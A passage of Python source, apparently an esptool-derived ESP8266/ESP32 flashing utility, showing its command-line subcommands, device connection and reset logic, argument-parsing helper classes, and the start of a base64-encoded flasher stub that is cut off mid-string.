+\n                                                     '(mostly superfluous, data is read back during flashing)', action='store_true')\n    parser_write_flash.add_argument('--encrypt', help='Encrypt before write ',\n                                    action='store_true')\n    parser_write_flash.add_argument('--ignore-flash-encryption-efuse-setting', help='Ignore flash encryption efuse settings ',\n                                    action='store_true')\n\n    compress_args = parser_write_flash.add_mutually_exclusive_group(required=False)\n    compress_args.add_argument('--compress', '-z', help='Compress data in transfer (default unless --no-stub is specified)', action=\"store_true\", default=None)\n    compress_args.add_argument('--no-compress', '-u', help='Disable data compression during transfer (default if --no-stub is specified)', action=\"store_true\")\n\n    subparsers.add_parser(\n        'run',\n        help='Run application code in flash')\n\n    parser_image_info = subparsers.add_parser(\n        'image_info',\n        help='Dump headers from an application image')\n    parser_image_info.add_argument('filename', help='Image file to parse')\n\n    parser_make_image = subparsers.add_parser(\n        'make_image',\n        help='Create an application image from binary files')\n    parser_make_image.add_argument('output', help='Output image file')\n    parser_make_image.add_argument('--segfile', '-f', action='append', help='Segment input file')\n    parser_make_image.add_argument('--segaddr', '-a', action='append', help='Segment base address', type=arg_auto_int)\n    parser_make_image.add_argument('--entrypoint', '-e', help='Address of entry point', type=arg_auto_int, default=0)\n\n    parser_elf2image = subparsers.add_parser(\n        'elf2image',\n        help='Create an application image from ELF file')\n    parser_elf2image.add_argument('input', help='Input ELF file')\n    parser_elf2image.add_argument('--output', '-o', help='Output filename prefix (for version 1 image), or filename (for version 2 single image)', type=str)\n    parser_elf2image.add_argument('--version', '-e', help='Output image version', choices=['1', '2'], default='1')\n    parser_elf2image.add_argument('--secure-pad', action='store_true', help='Pad image so once signed it will end on a 64KB boundary. For ESP32 images only.')\n    parser_elf2image.add_argument('--elf-sha256-offset', help='If set, insert SHA256 hash (32 bytes) of the input ELF file at specified offset in the binary.',\n                                  type=arg_auto_int, default=None)\n\n    add_spi_flash_subparsers(parser_elf2image, is_elf2image=True)\n\n    subparsers.add_parser(\n        'read_mac',\n        help='Read MAC address from OTP ROM')\n\n    subparsers.add_parser(\n        'chip_id',\n        help='Read Chip ID from OTP ROM')\n\n    parser_flash_id = subparsers.add_parser(\n        'flash_id',\n        help='Read SPI flash manufacturer and device ID')\n    add_spi_connection_arg(parser_flash_id)\n\n    parser_read_status = subparsers.add_parser(\n        'read_flash_status',\n        help='Read SPI flash status register')\n\n    add_spi_connection_arg(parser_read_status)\n    parser_read_status.add_argument('--bytes', help='Number of bytes to read (1-3)', type=int, choices=[1, 2, 3], default=2)\n\n    parser_write_status = subparsers.add_parser(\n        'write_flash_status',\n        help='Write SPI flash status register')\n\n    add_spi_connection_arg(parser_write_status)\n    parser_write_status.add_argument('--non-volatile', help='Write non-volatile bits (use with caution)', action='store_true')\n    parser_write_status.add_argument('--bytes', help='Number of status bytes to write (1-3)', type=int, choices=[1, 2, 3], default=2)\n    parser_write_status.add_argument('value', help='New value', type=arg_auto_int)\n\n    parser_read_flash = subparsers.add_parser(\n        'read_flash',\n        help='Read SPI flash content')\n    add_spi_connection_arg(parser_read_flash)\n    parser_read_flash.add_argument('address', help='Start address', type=arg_auto_int)\n    parser_read_flash.add_argument('size', help='Size of region to dump', type=arg_auto_int)\n    parser_read_flash.add_argument('filename', help='Name of binary dump')\n    parser_read_flash.add_argument('--no-progress', '-p', help='Suppress progress output', action=\"store_true\")\n\n    parser_verify_flash = subparsers.add_parser(\n        'verify_flash',\n        help='Verify a binary blob against flash')\n    parser_verify_flash.add_argument('addr_filename', help='Address and binary file to verify there, separated by space',\n                                     action=AddrFilenamePairAction)\n    parser_verify_flash.add_argument('--diff', '-d', help='Show differences',\n                                     choices=['no', 'yes'], default='no')\n    add_spi_flash_subparsers(parser_verify_flash, is_elf2image=False)\n\n    parser_erase_flash = subparsers.add_parser(\n        'erase_flash',\n        help='Perform Chip Erase on SPI flash')\n    add_spi_connection_arg(parser_erase_flash)\n\n    parser_erase_region = subparsers.add_parser(\n        'erase_region',\n        help='Erase a region of the flash')\n    add_spi_connection_arg(parser_erase_region)\n    parser_erase_region.add_argument('address', help='Start address (must be multiple of 4096)', type=arg_auto_int)\n    parser_erase_region.add_argument('size', help='Size of region to erase (must be multiple of 4096)', type=arg_auto_int)\n\n    subparsers.add_parser(\n        'version', help='Print flashapi version')\n\n    for operation in subparsers.choices.keys():\n        assert operation in globals(), \"%s should be a module function\" % operation\n\n    expand_file_arguments()\n\n    args = parser.parse_args(custom_commandline)\n\n    if args.operation is None:\n        # parser.print_help()\n        print(\"This library is not intended to be run.\")\n\n        sys.exit(1)\n\n    operation_func = globals()[args.operation]\n\n    if PYTHON2:\n\n        operation_args = inspect.getargspec(operation_func).args\n    else:\n        operation_args = inspect.getfullargspec(operation_func).args\n\n    if operation_args[0] == 'esp':\n        if args.before != \"no_reset_no_sync\":\n            initial_baud = min(ESPLoader.ESP_ROM_BAUD, args.baud)\n        else:\n            initial_baud = args.baud\n\n        if args.port is None:\n            ser_list = sorted(ports.device for ports in list_ports.comports())\n            print(\"Found %d serial ports\" % len(ser_list))\n        else:\n            ser_list = [args.port]\n        esp = None\n        for each_port in reversed(ser_list):\n            print(\"Serial port %s\" % each_port)\n            try:\n                if args.chip == 'auto':\n                    esp = ESPLoader.detect_chip(each_port, initial_baud, args.before, args.trace)\n                else:\n                    chip_class = {\n                        'esp8266': ESP8266ROM,\n                        'esp32': ESP32ROM,\n                    }[args.chip]\n                    esp = chip_class(each_port, initial_baud, args.trace)\n                    esp.connect(args.before)\n                break\n            except (FatalError, OSError) as err:\n                if args.port is not None:\n                    raise\n                print(\"%s failed to connect: %s\" % (each_port, err))\n                esp = None\n        if esp is None:\n            raise FatalError(\"Could not connect to an Espressif device on any of the %d available serial ports.\" % len(ser_list))\n\n        read_mac(esp, args)\n\n        if not args.no_stub:\n            esp = esp.run_stub()\n\n        if args.override_vddsdio:\n            esp.override_vddsdio(args.override_vddsdio)\n\n        if args.baud > initial_baud:\n            try:\n                esp.change_baud(args.baud)\n            except NotImplementedInROMError:\n                print(\"WARNING: ROM doesn't support changing baud rate. Keeping initial baud rate %d\" % initial_baud)\n\n        if hasattr(args, \"spi_connection\") and args.spi_connection is not None:\n            if esp.CHIP_NAME != \"ESP32\":\n                raise FatalError(\"Chip %s does not support --spi-connection option.\" % esp.CHIP_NAME)\n            print(\"Configuring SPI flash mode...\")\n            esp.flash_spi_attach(args.spi_connection)\n        elif args.no_stub:\n            print(\"Enabling default SPI flash mode...\")\n\n            esp.flash_spi_attach(0)\n\n        if hasattr(args, \"flash_size\"):\n            print(\"Configuring flash size...\")\n            detect_flash_size(esp, args)\n            if args.flash_size != 'keep':\n                esp.flash_set_parameters(flash_size_bytes(args.flash_size))\n\n        try:\n            operation_func(esp, args)\n        finally:\n            try:\n                for address, argfile in args.addr_filename:\n                    argfile.close()\n            except AttributeError:\n                pass\n\n        if operation_func == load_ram:\n\n            print('Exiting immediately.')\n        elif args.after == 'hard_reset':\n            print('Flash Operation Complete!')\n            esp.hard_reset()\n        elif args.after == 'soft_reset':\n            print('Soft resetting...')\n\n            esp.soft_reset(False)\n        else:\n            print('Staying in bootloader.')\n            if esp.IS_STUB:\n                esp.soft_reset(True)\n\n        esp._port.close()\n\n    else:\n        operation_func(args)\n\n\ndef expand_file_arguments():\n    new_args = []\n    expanded = False\n    for arg in sys.argv:\n        if arg.startswith(\"@\"):\n            expanded = True\n            with open(arg[1:], \"r\") as f:\n                for line in f.readlines():\n                    new_args += shlex.split(line)\n        else:\n            new_args.append(arg)\n    if expanded:\n        print(\"flashapi.py %s\" % (\" \".join(new_args[1:])))\n        sys.argv = new_args\n\n\nclass FlashSizeAction(argparse.Action):\n    def __init__(self, option_strings, dest, nargs=1, auto_detect=False, **kwargs):\n        super(FlashSizeAction, self).__init__(option_strings, dest, nargs, **kwargs)\n        self._auto_detect = auto_detect\n\n    def __call__(self, parser, namespace, values, option_string=None):\n        try:\n            value = {\n                '2m': '256KB',\n                '4m': '512KB',\n                '8m': '1MB',\n                '16m': '2MB',\n                '32m': '4MB',\n                '16m-c1': '2MB-c1',\n                '32m-c1': '4MB-c1',\n            }[values[0]]\n            print(\"WARNING: Flash size arguments in megabits like '%s' are deprecated.\" % (values[0]))\n            print(\"Please use the equivalent size '%s'.\" % (value))\n            print(\"Megabit arguments may be removed in a future release.\")\n        except KeyError:\n            value = values[0]\n\n        known_sizes = dict(ESP8266ROM.FLASH_SIZES)\n        known_sizes.update(ESP32ROM.FLASH_SIZES)\n        if self._auto_detect:\n            known_sizes['detect'] = 'detect'\n            known_sizes['keep'] = 'keep'\n        if value not in known_sizes:\n            raise argparse.ArgumentError(self, '%s is not a known flash size. Known sizes: %s' % (value, \", \".join(known_sizes.keys())))\n        setattr(namespace, self.dest, value)\n\n\nclass SpiConnectionAction(argparse.Action):\n    def __call__(self, parser, namespace, value, option_string=None):\n        if value.upper() == \"SPI\":\n            value = 0\n        elif value.upper() == \"HSPI\":\n            value = 1\n        elif \",\" in value:\n            values = value.split(\",\")\n            if len(values) != 5:\n                raise argparse.ArgumentError(self, '%s is not a valid list of comma-separate pin numbers. Must be 5 numbers - CLK,Q,D,HD,CS.' % value)\n            try:\n                values = tuple(int(v, 0) for v in values)\n            except ValueError:\n                raise argparse.ArgumentError(self, '%s is not a valid argument. All pins must be numeric values' % values)\n            if any([v for v in values if v > 33 or v < 0]):\n                raise argparse.ArgumentError(self, 'Pin numbers must be in the range 0-33.')\n\n            clk, q, d, hd, cs = values\n            value = (hd << 24) | (cs << 18) | (d << 12) | (q << 6) | clk\n        else:\n            raise argparse.ArgumentError(self, '%s is not a valid spi-connection value. ' +\n                                         'Values are SPI, HSPI, or a sequence of 5 pin numbers CLK,Q,D,HD,CS).' % value)\n        setattr(namespace, self.dest, value)\n\n\nclass AddrFilenamePairAction(argparse.Action):\n\n    def __init__(self, option_strings, dest, nargs='+', **kwargs):\n        super(AddrFilenamePairAction, self).__init__(option_strings, dest, nargs, **kwargs)\n\n    def __call__(self, parser, namespace, values, option_string=None):\n\n        pairs = []\n        for i in range(0, len(values), 2):\n            try:\n                address = int(values[i], 0)\n            except ValueError:\n                raise argparse.ArgumentError(self, 'Address \"%s\" must be a number' % values[i])\n            try:\n                argfile = open(values[i + 1], 'rb')\n            except IOError as e:\n                raise argparse.ArgumentError(self, e)\n            except IndexError:\n                raise argparse.ArgumentError(self, 'Must be pairs of an address and the binary filename to write there')\n            pairs.append((address, argfile))\n\n        end = 0\n        for address, argfile in sorted(pairs):\n            argfile.seek(0, 2)\n            size = argfile.tell()\n            argfile.seek(0)\n            sector_start = address & ~(ESPLoader.FLASH_SECTOR_SIZE - 1)\n            sector_end = ((address + size + ESPLoader.FLASH_SECTOR_SIZE - 1) & ~(ESPLoader.FLASH_SECTOR_SIZE - 1)) - 1\n            if sector_start < end:\n                message = 'Detected overlap at address: 0x%x for file: %s' % (address, argfile.name)\n                raise argparse.ArgumentError(self, message)\n            end = sector_end\n        setattr(namespace, self.dest, pairs)\n\n\nESP8266ROM.STUB_CODE = eval(zlib.decompress(base64.b64decode(b\"\"\"\n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